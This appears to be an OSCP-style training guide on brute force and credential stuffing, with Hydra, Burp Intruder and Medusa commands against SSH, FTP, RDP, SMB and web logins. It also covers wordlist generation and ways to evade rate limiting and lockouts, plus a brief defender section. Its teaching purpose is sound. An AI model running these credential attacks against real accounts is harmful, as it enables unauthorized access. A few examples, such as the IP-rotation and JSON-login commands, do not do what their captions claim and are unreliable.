Domain 2Web App AttacksCORE

Brute Force and Credential Stuffing

Comprehensive brute force and credential stuffing guide covering Hydra, Burp Intruder, Medusa usage, wordlist strategies, rate limiting bypass, and OSCP credential attack workflows.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#Brute Force#Credential Stuffing#Hydra#Burp Intruder#Wordlists#OSCP

Brute Force and Credential Stuffing

Overview

Brute force and credential stuffing attacks are among the most fundamental and frequently used techniques in penetration testing. While conceptually simple — trying many credential combinations until one works — the art lies in choosing the right tools, wordlists, and strategies to succeed efficiently without getting locked out or detected.

In the OSCP exam, brute force is one of the most common paths to initial access. Machines frequently expose services (SSH, FTP, web logins, API endpoints) with weak or default credentials that can be cracked with the right approach. This guide covers everything from tool selection to advanced rate-limiting bypass techniques.


1. Attack Type Comparison

Understanding the Landscape

Aspect Brute Force Dictionary Attack Credential Stuffing Smart Brute Force
Method Try all possible character combinations Try words from a predefined list Use credentials leaked from other breaches Try username + variations of username
Target Single account Single or multiple accounts Many accounts across one service Single account
Speed Very slow (combinatorial explosion) Medium (depends on list size) Fast (automated, distributed) Medium
Success Rate High (eventually) but impractical for long passwords High for weak passwords High if user reuses passwords Surprisingly high
Detection Risk Very high High Lower (if distributed) Medium
OSCP Relevance Low (too slow for exam) Very High Medium High

Key Distinction

  • Brute Force: Exhaustive — tries every combination (a, aa, ab, ac…). Only practical for very short passwords (≤4 characters).
  • Dictionary Attack: Uses a wordlist of common passwords, names, and patterns. This is what you’ll use 95% of the time on OSCP.
  • Credential Stuffing: Uses username/password pairs from known data breaches. Effective when users reuse credentials.
  • Smart Brute Force: Takes a known username and tries variations (admin, Admin, admin1, admin123, admin!).

2. Hydra — The Swiss Army Knife

Installation and Basics

# Kali Linux (pre-installed)
# Manual install
sudo apt install hydra

# Check version
hydra -h

Core Syntax

hydra [OPTIONS] <target> <service_module>

Essential Options

Option Description Example
-l Single username -l admin
-L Username list (file) -L users.txt
-p Single password -p password123
-P Password list (file) -P rockyou.txt
-t Number of threads -t 16
-vV Verbose output Shows each attempt
-f Stop on first success Critical for efficiency
-s Non-standard port -s 8443
-w Max wait time (seconds) -w 10
-o Output file -o results.txt
-m Module-specific options Varies by module

SSH Brute Force

# Single user, password list
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.1 -t 4 -f -vV

# Multiple users, multiple passwords
hydra -L users.txt -P passwords.txt ssh://10.10.10.1 -t 16 -f

# Non-standard port
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.1 -s 2222 -t 4 -f

# With specific output
hydra -l admin -P wordlist.txt ssh://10.10.10.1 -t 4 -f -o ssh_results.txt

HTTP Form Brute Force (POST)

This is the most common OSCP scenario — brute-forcing a web login form.

# Basic POST form brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  https://10.10.10.1 http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid credentials"

# With custom headers
hydra -l admin -P wordlist.txt \
  https://10.10.10.1 http-post-form "/api/auth:username=^USER^&password=^PASS^:login failed:-H Cookie:session=abc123"

# JSON body login
hydra -l admin -P wordlist.txt \
  https://10.10.10.1 http-post-form "/api/login:Content-Type: application/json^username=^USER^&password=^PASS^:Unauthorized"

Understanding the syntax:

http-post-form "<path>:<post_data>:<failure_string>"
  • <path>: URL path to the login endpoint
  • <post_data>: POST body with ^USER^ and ^PASS^ as placeholders
  • <failure_string>: Text that appears when login fails (Hydra looks for its absence to detect success)

HTTP Form Brute Force (GET)

hydra -l admin -P wordlist.txt \
  https://10.10.10.1 http-get "/admin?user=^USER^&pass=^PASS^:Invalid"

FTP Brute Force

hydra -l anonymous -P wordlist.txt ftp://10.10.10.1 -t 4 -f
hydra -L users.txt -P wordlist.txt ftp://10.10.10.1 -t 16 -f -vV

RDP Brute Force

hydra -l administrator -P wordlist.txt rdp://10.10.10.1 -t 4 -f -vV

SMB Brute Force

hydra -l admin -P wordlist.txt smb://10.10.10.1 -t 4 -f

SMTP Brute Force

hydra -l user -P wordlist.txt smtp://10.10.10.1 -t 4 -f

Advanced Hydra Techniques

Rate limiting bypass with delays:

# Add 5-second delay between attempts
hydra -l admin -P wordlist.txt ssh://10.10.10.1 -w 5 -t 1 -f

# Use proxy to rotate IPs (if available)
hydra -l admin -P wordlist.txt ssh://10.10.10.1 -o results.txt -t 1 -w 10

Resume interrupted attacks:

# Hydra saves session state; just re-run the same command
hydra -R

Using custom login formats:

# For applications that expect email as username
hydra -L emails.txt -P wordlist.txt \
  https://10.10.10.1 http-post-form "/login:email=^USER^&password=^PASS^:Invalid email or password"

3. Burp Suite Intruder — Web-Specific Brute Force

Why Burp Intruder?

Burp Intruder is the preferred tool for web login brute forcing during OSCP because:

  • It integrates directly with your proxy workflow
  • You can see exact request/response pairs
  • It handles cookies, headers, and CSRF tokens automatically
  • The length-based sorting reveals successful logins instantly

Step-by-Step Workflow

Step 1: Capture the Login Request

  1. Configure browser to use Burp Proxy (127.0.0.1:8080)
  2. Navigate to the login page
  3. Submit a test login (any credentials)
  4. Find the request in Burp Proxy → History

Step 2: Send to Intruder

Right-click the request → “Send to Intruder” (or Ctrl+I)

Step 3: Choose Attack Type

Type Description When to Use
Sniper One payload set, fires at one position at a time Brute-forcing password for a known username
Battering Ram One payload set, fires at all positions simultaneously When username = password (same wordlist)
Pitchfork Multiple payload sets, fires in parallel (position 1 gets list 1, position 2 gets list 2) When you have paired username:password lists
Cluster Bomb Multiple payload sets, tries all combinations When you have a user list AND a password list (cartesian product)

Step 4: Define Payload Positions

  1. Clear all auto-selected positions (Clear §)
  2. Highlight the username value → Add §
  3. Highlight the password value → Add §

Example marked request:

POST /login HTTP/1.1
Host: 10.10.10.1
Content-Type: application/x-www-form-urlencoded

username=§admin§&password=§password123§

Step 5: Configure Payloads

  • Payload Set 1 (username): Load users.txt or set to static value
  • Payload Set 2 (password): Load rockyou.txt or custom wordlist

Payload Processing Rules (very useful):

  • Rule 1: URL encode
  • Rule 2: Base64 encode
  • Rule 3: Convert to lowercase/uppercase
  • Rule 4: Append characters (e.g., add 1, !, 2024)

Step 6: Configure Options

Setting Recommended Value Reason
Threads 5-10 Balance speed vs. detection
Delay 0-500ms Add delay if rate-limited
Request reading Response length Quick filtering
Grep - Extract Key response fields For analysis
Grep - Show Success indicators Filter results

Step 7: Start and Analyze

Click “Start attack” and sort by Length column. Successful logins typically have a different response length than failed attempts.

Pro Tips for Burp Intruder

Tip 1: Filter by Response Length

The most reliable indicator of success. Sort the “Length” column — outliers are your candidates.

Tip 2: Use Grep Match

Add strings like “Welcome”, “Dashboard”, “Logout”, or “Invalid” to the Grep section to highlight relevant responses.

Tip 3: Handle CSRF Tokens

If the login form requires a CSRF token:

  1. Use the “Grep - Extract” feature to extract the token from the page load response
  2. Use it as a dynamic payload position

Tip 4: Pause and Resume

Large wordlists take time. You can pause and resume attacks without losing progress.

Tip 5: Export Results

Right-click results → “Copy selected” to export findings for documentation.


4. Medusa — Fast Parallel Cracking

When to Use Medusa

Medusa excels at:

  • Fast parallel connections (better than Hydra for some protocols)
  • Modular authentication support
  • Clean output formatting

Basic Usage

# SSH brute force
medusa -h 10.10.10.1 -u admin -P /usr/share/wordlists/rockyou.txt -M ssh -t 16

# HTTP form brute force
medusa -h 10.10.10.1 -u admin -P wordlist.txt \
  -M http -m DIR:/login -t 16 \
  -O auth_log.txt -f

# FTP brute force
medusa -h 10.10.10.1 -U users.txt -P wordlist.txt -M ftp -t 16 -f

# Multiple hosts
medusa -H targets.txt -u admin -P wordlist.txt -M ssh -t 32

Key Options

Option Description
-h Target host (single)
-H Target host list (file)
-u Single username
-U Username list
-p Single password
-P Password list
-M Module name (ssh, http, ftp, etc.)
-m Module options
-t Thread count
-f Stop on first success
-O Output file
-n Non-standard port

5. Wordlist Strategies

Essential Wordlists

Wordlist Location Best For
rockyou.txt /usr/share/wordlists/rockyou.txt General passwords (most common)
common-usernames /usr/share/seclists/Usernames/ Username enumeration
default-logins /usr/share/seclists/Passwords/Default-Credentials/ Default credentials
dirb/common /usr/share/wordlists/dirb/ Directory brute force
wfuzz /usr/share/wfuzz/wordlist/ Parameter fuzzing

Preparing Wordlists

Note: rockyou.txt is compressed by default on Kali:

# Decompress rockyou.txt (one-time setup)
sudo unzip -q /usr/share/wordlists/rockyou.txt.gz -d /usr/share/wordlists/

Custom Wordlist Creation

From machine context:

# Extract words from the target website
wget -r -p -k -nd http://10.10.10.1 -P /tmp/webdump
cat /tmp/webdump/*.html | grep -oP '\b\w{6,}\b' | sort -u > custom_wordlist.txt

# Use company name, machine name, or theme
crunch 6 12 -t admin>>> -o admin_variants.txt
crunch 6 12 -t p@ss>>> -o pass_variants.txt

Using crunch for pattern-based wordlists:

# Generate all 6-8 character lowercase passwords
crunch 6 8 abcdefghijklmnopqrstuvwxyz -o lower6to8.txt

# Generate passwords with specific pattern
crunch 8 8 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz -t admin^^^ -o admin_pattern.txt

# Generate date-based passwords
crunch 4 4 0123456789 -o years.txt

Using ceWL for context-aware wordlists:

# Generate wordlist from target website content
cewl -d 2 -m 5 -w custom_wordlist.txt http://10.10.10.1

# -d 2 = crawl depth 2
# -m 5 = minimum word length 5

Wordlist Filtering and Optimization

# Filter rockyou.txt for passwords containing "admin"
grep -i "admin" /usr/share/wordlists/rockyou.txt > admin_passwords.txt

# Filter for passwords 8-12 characters
awk 'length >= 8 && length <= 12' /usr/share/wordlists/rockyou.txt > medium_passwords.txt

# Remove duplicates
sort -u wordlist.txt -o wordlist_unique.txt

# Take top 10000 most common passwords
head -10000 /usr/share/wordlists/rockyou.txt > top10k.txt

6. Rate Limiting and CAPTCHA Bypass

Detecting Rate Limiting

Signs that rate limiting is in place:

  • Login attempts slow down after N failures
  • “Too many attempts” or “Account locked” messages
  • IP-based blocking after threshold
  • CAPTCHA appearing after failed attempts

Bypass Strategies

Technique Method Effectiveness
Slow down attacks Use -w (Hydra) or delay (Burp) High — avoids triggering limits
Single thread Use -t 1 Medium — slower but stealthier
Distributed attacks Multiple attacking machines High — spreads across IPs
Session rotation Rotate cookies/sessions Medium — bypasses session-based limits
CAPTCHA solving Manual solving or OCR tools Low-Medium — depends on CAPTCHA type

Practical Rate Limiting Bypass with Hydra

# Very slow, single-threaded attack
hydra -l admin -P wordlist.txt ssh://10.10.10.1 -t 1 -w 30 -f -vV

# With longer wait time
hydra -l admin -P wordlist.txt \
  https://10.10.10.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid" \
  -t 1 -w 60 -f

7. OSCP Credential Attack Workflow

The Systematic Approach

Follow this workflow on every OSCP machine with a login interface:

Phase 1: Reconnaissance (5-10 minutes)

# 1. Identify all login endpoints
# - Check /login, /admin, /administrator, /wp-login.php
# - Check API endpoints via /api/ directory listing

# 2. Identify the authentication method
# - Form-based (POST)
# - Basic Auth (GET with Authorization header)
# - JWT token-based
# - API key-based

# 3. Gather context clues
# - Company name, product name, technology stack
# - Username format (email? first.last? admin?)
# - Password policy hints (minimum length, complexity)

Phase 2: Quick Wins (5 minutes)

# Try default credentials first
# admin:admin, admin:password, root:toor, test:test

# Try the username as password
# admin:admin, root:root, user:user

# Try common simple passwords
# password, password123, 123456, letmein

Phase 3: Dictionary Attack (15-30 minutes)

# Start with a focused wordlist
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  https://10.10.10.1 http-post-form "/login:username=^USER^&password=^PASS^:Invalid" \
  -t 4 -f -vV

# If that fails, try with Burp Intruder for better visibility
# (See Section 3 for detailed workflow)

Phase 4: Context-Aware Attack (if Phase 3 fails)

# Generate custom wordlist from website content
cewl -d 2 -m 5 -w custom.txt http://10.10.10.1

# Create username-based variations
crunch 6 12 -t machine>>> -o machine_variants.txt

# Combine wordlists
cat rockyou.txt custom.txt machine_variants.txt | sort -u > combined.txt

# Attack with combined list
hydra -l admin -P combined.txt ssh://10.10.10.1 -t 4 -f

Phase 5: Move On (if all else fails)

If brute force hasn’t worked after 30-45 minutes, pivot to other attack vectors. Don’t get tunnel vision.

OSCP-Specific Tips

  1. SSH is your friend — If you find web credentials, check if they work on SSH too
  2. Credential reuse is common — Web app passwords often work on other services
  3. Check for multiple users — Don’t just target admin; try root, user, administrator
  4. Document everything — Save Hydra output and Burp Intruder results for your report
  5. Use -f flag — Stop on first success to save time
  6. Thread count matters — Use 4-16 threads; too many can cause connection issues
  7. Check response carefully — Sometimes “success” returns a 200 with an error message in the body

8. Common OSCP Machines and Patterns

Pattern 1: SSH with Weak Password

# The most common OSCP pattern
nmap -sV 10.10.10.x  # Find SSH on port 22
hydra -l <username> -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.x -t 4 -f -vV
ssh <username>@10.10.10.x  # Connect with found credentials

Pattern 2: Web Login → Shell Access

# Brute force web login
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  https://10.10.10.x http-post-form "/login:username=^USER^&password=^PASS^:Invalid" -f

# Use credentials to access admin panel
# Find file upload or command injection in admin panel
# Get reverse shell

Pattern 3: FTP Anonymous + Password

# Try anonymous FTP first
ftp 10.10.10.x
# User: anonymous
# Password: (empty or "anonymous")

# If anonymous works, check for writable directories
# If not, brute force
hydra -l ftpuser -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.x -f

9. Detection and Mitigation

For Defenders

Control Implementation Effectiveness
Account lockout Lock after 5 failed attempts High (but enables DoS)
Rate limiting Max 10 attempts per minute per IP High
CAPTCHA After 3 failed attempts Medium-High
MFA Require second factor Very High
Progressive delays Exponential backoff on failures Medium
IP reputation Block known attack IPs Medium
Anomaly detection Alert on unusual login patterns Medium
Password complexity Enforce strong password policies Prevents weak passwords

For Pentesters

  • Always check for lockout mechanisms before launching large attacks
  • Start slow — use fewer threads initially, increase if no lockout detected
  • Monitor response times — increasing delays may indicate rate limiting
  • Save your wordlists — reuse successful wordlists across machines
  • Combine with other techniques — brute force + SQL injection, brute force + directory discovery

Summary

Brute force and credential stuffing remain essential skills for OSCP success. The key takeaways:

  1. Hydra is your go-to for protocol-level attacks (SSH, FTP, HTTP forms)
  2. Burp Intruder is superior for web application logins with complex request structures
  3. rockyou.txt is your primary wordlist — know it, filter it, customize it
  4. Always try default credentials first — they work more often than you’d expect
  5. Follow the systematic workflow — recon → quick wins → dictionary → custom → pivot
  6. Rate limiting is your enemy — adapt your speed and threading accordingly
  7. Document everything — your findings need to be reproducible for the report

Master these tools and strategies, and brute force will become one of your most reliable paths to initial access on OSCP exam machines.